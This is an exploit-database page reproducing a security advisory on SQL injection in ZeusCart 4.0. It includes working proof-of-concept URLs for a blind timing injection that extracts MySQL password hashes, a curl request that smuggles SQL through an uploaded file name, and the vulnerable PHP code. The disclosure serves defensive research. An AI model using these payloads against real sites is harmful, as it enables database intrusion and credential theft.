Menu

Search for hundreds of thousands of exploits

"ZeusCart 4.0 - SQL Injection"

Author

Exploit author

"Curesec Research Team"

Platform

Exploit platform

php

Release date

Exploit published date

2015-09-17

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
ZeusCart 4.0: SQL Injection
Security Advisory  Curesec Research Team

1. Introduction

Affected Product:   ZeusCart 4.0  
Fixed in:     not fixed
Fixed Version Link:   n/a  
Vendor Contact:   support@zeuscart.com  
Vulnerability Type:   SQL Injection  
Remote Exploitable:   Yes  
Reported to vendor:   08/13/2015  
Disclosed to public:   09/14/2015  
Release mode:     Full Disclosure  
CVE:       n/a  
Credits     Tim Coen of Curesec GmbH  

2. Vulnerability Description

There are at least two SQL Injections in ZeusCart 4.0, one being a blind
injection which does not require credentials to be exploited, the other
being a standard injection in the admin area.

Because the prevention of SQL Injection depends to a large part on
applying simple filters on most input instead of using prepared
stamements, it is highly likely that there will be more SQL injection
vulnerabilities that are not covered here.
3. Timing based Blind SQL Injection

There is a blind timing based SQL injection into the maincatid argument.
An attacker does not need to be authenticated to exploit this.
Proof Of Concept


http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(SUBSTRING(version(), 1, 1)=5,BENCHMARK(500000000,version()),null)
-> true

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(SUBSTRING(version(), 1, 1)=4,BENCHMARK(500000000,version()),null)
-> false
Please note that there is a bug when displaying featured items, so this
will display an error message or show a blank page. The timing
difference is still present, and can thus be exploited, but content
based exploitation is not possible because of this.

Also note that quotes may not be used in the payload, as quotes are
sanitized. It is still possible to extract data:

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(ascii(substring((SELECT password from mysql.user limit
0,1),1,1))=42,BENCHMARK(500000000,version()),null)
-> true, password hash starts with *

Code


        /classes/Core/CFeaturedItems.php:52
                $maincatid = $_GET['maincatid'];
        [...]
                $sql = "SELECT DISTINCT a.category_name AS
Category,a.category_id AS maincatid, b.category_name AS SubCategory,
b.category_id as subcatid, b.category_image AS image FROM category_table
a INNER JOIN category_table b ON a.category_id = b.category_parent_id
WHERE b.category_parent_id=".$maincatid." AND b.category_status=1 ";

4. SQL Injection in Admin Area

All GET, POST, and REQUEST input is sanitized via filter_var($value,
FILTER_SANITIZE_STRING), which offers some protection against SQL
injection and XSS, but is not recommended as only defense.

For many queries, there is no further defense via escaping or prepared
statements. This makes all queries that get their data from different
sources than GET, POST, and REQUEST - such as FILES -, and all queries
containing unquoted parameters - such as seen in the blind injection
above - vulnerable.
Proof Of Concept
The steps to reproduce this issue are as following

    Log in as admin
    Create a new product, using a file name for ufile[0] like:
"image.jpgblla', description=(SELECT password FROM mysql.user limit
0,1), image='test
    Visiting
http://localhost/zeuscart-master/admin/index.php?do=aprodetail&action=showprod&prodid=PRODUCTID
will give the result of the injected query.

Curl command to create a new product:

curl -i -s -k  -X 'POST' \
    -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)
Gecko/20100101 Firefox/40.0' -H 'DNT: 1' -H 'Content-Type:
multipart/form-data; boundary=--------2025782171' \
    -b 'PHPSESSID=hsa73tae4bq4ev381430dbfif0' \
    --data-binary $'----------2025782171\x0d\x0aContent-Disposition:
form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0aChoose
Category\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a25\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"product_title\"\x0d\x0a\x0d\x0aMYTESTPRODUCT2\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"sku\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"txtweight\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data; name=\"ufile[0]\"; filename=\"image.jpgblla\',
description=(SELECT password FROM mysql.user limit 0,1),
image=\'test\"\x0d\x0aContent-Type:
image/jpeg\x0d\x0a\x0d\x0acontent\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"price\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"msrp_org\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"soh\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171--\x0d\x0a' \

'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'
Code


        CProductEntry.php:313
                            $imgfilename= $_FILES['ufile']['name'][$i];

                            $imagefilename =
date("Y-m-d-His").$imgfilename ; // generate a new name

                            $image="images/products/". $imagefilename;
// updated into DB
        [...]

                            if($i==0)
                            {
                                $imgType='main';
                                $update="UPDATE products_table set
image='$image',thumb_image='$thumb_image',large_image_path='$large_image' where
product_id='".$product_id."'";
                                $obj->updateQuery($update);
                            }
                            else
                            {
                                $imgType='sub';
                            }

                                if($_FILES['ufile']['name'][$i]!='')
                                {
                                    $query_img="INSERT INTO
product_images_table(product_id,image_path,thumb_image_path,type,large_image_path)
VALUES('".$product_id."','$image','$thumb_image','$imgType','$large_image')";

                                    $obj_img=new Bin_Query();

                                    $obj_img->updateQuery($query_img);
                                }


                        }

5. Solution

This issue was not fixed by the vendor.

6. Report Timeline

08/13/2015   Informed Vendor about Issue (no reply)
09/07/2015   Reminded Vendor of release date (no reply)
09/14/2015   Disclosed to public

7. Blog Reference:
http://blog.curesec.com/article/blog/ZeusCart-40-SQL-Injection-56.html
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2017-03-20 "phplist 3.2.6 - SQL Injection" webapps php "Curesec Research Team"
2016-11-21 "Mezzanine 4.2.0 - Cross-Site Scripting" webapps python "Curesec Research Team"
2016-11-21 "LEPTON 2.2.2 - Remote Code Execution" webapps php "Curesec Research Team"
2016-11-21 "FUDforum 3.0.6 - Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Curesec Research Team"
2016-11-21 "LEPTON 2.2.2 - SQL Injection" webapps php "Curesec Research Team"
2016-11-21 "FUDforum 3.0.6 - Local File Inclusion" webapps php "Curesec Research Team"
2016-11-10 "MyBB 1.8.6 - Cross-Site Scripting" webapps php "Curesec Research Team"
2016-09-19 "Kajona 4.7 - Cross-Site Scripting / Directory Traversal" webapps php "Curesec Research Team"
2016-09-19 "MyBB 1.8.6 - SQL Injection" webapps php "Curesec Research Team"
2016-03-17 "ZenPhoto 1.4.11 - Remote File Inclusion" webapps php "Curesec Research Team"
2016-03-17 "PivotX 2.3.11 - Directory Traversal" webapps php "Curesec Research Team"
2016-02-04 "OpenDocMan 1.3.4 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2016-02-04 "ATutor 2.2 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Curesec Research Team"
2015-12-23 "Arastta 1.1.5 - SQL Injection" webapps php "Curesec Research Team"
2015-12-23 "PhpSocial 2.0.0304_20222226 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2015-12-23 "Grawlix 1.0.3 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2015-11-16 "ClipperCMS 1.3.0 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-11-16 "AlegroCart 1.2.8 - Local/Remote File Inclusion" webapps php "Curesec Research Team"
2015-11-16 "AlegroCart 1.2.8 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-11-16 "XCart 5.2.6 - Code Execution" remote php "Curesec Research Team"
2015-11-16 "ClipperCMS 1.3.0 - Code Execution" remote php "Curesec Research Team"
2015-10-30 "Pligg CMS 2.0.2 - Cross-Site Request Forgery / Code Execution" webapps php "Curesec Research Team"
2015-10-30 "Pligg CMS 2.0.2 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-10-30 "Pligg CMS 2.0.2 - Directory Traversal" webapps php "Curesec Research Team"
2015-09-17 "ZeusCart 4.0 - SQL Injection" webapps php "Curesec Research Team"
2015-09-17 "ZeusCart 4.0 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2015-08-18 "CodoForum 3.3.1 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-08-18 "BigTree CMS 4.2.3 - (Authenticated) SQL Injection" webapps php "Curesec Research Team"
2013-11-18 "LiveZilla 5.0.1.4 - Remote Code Execution" webapps php "Curesec Research Team"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.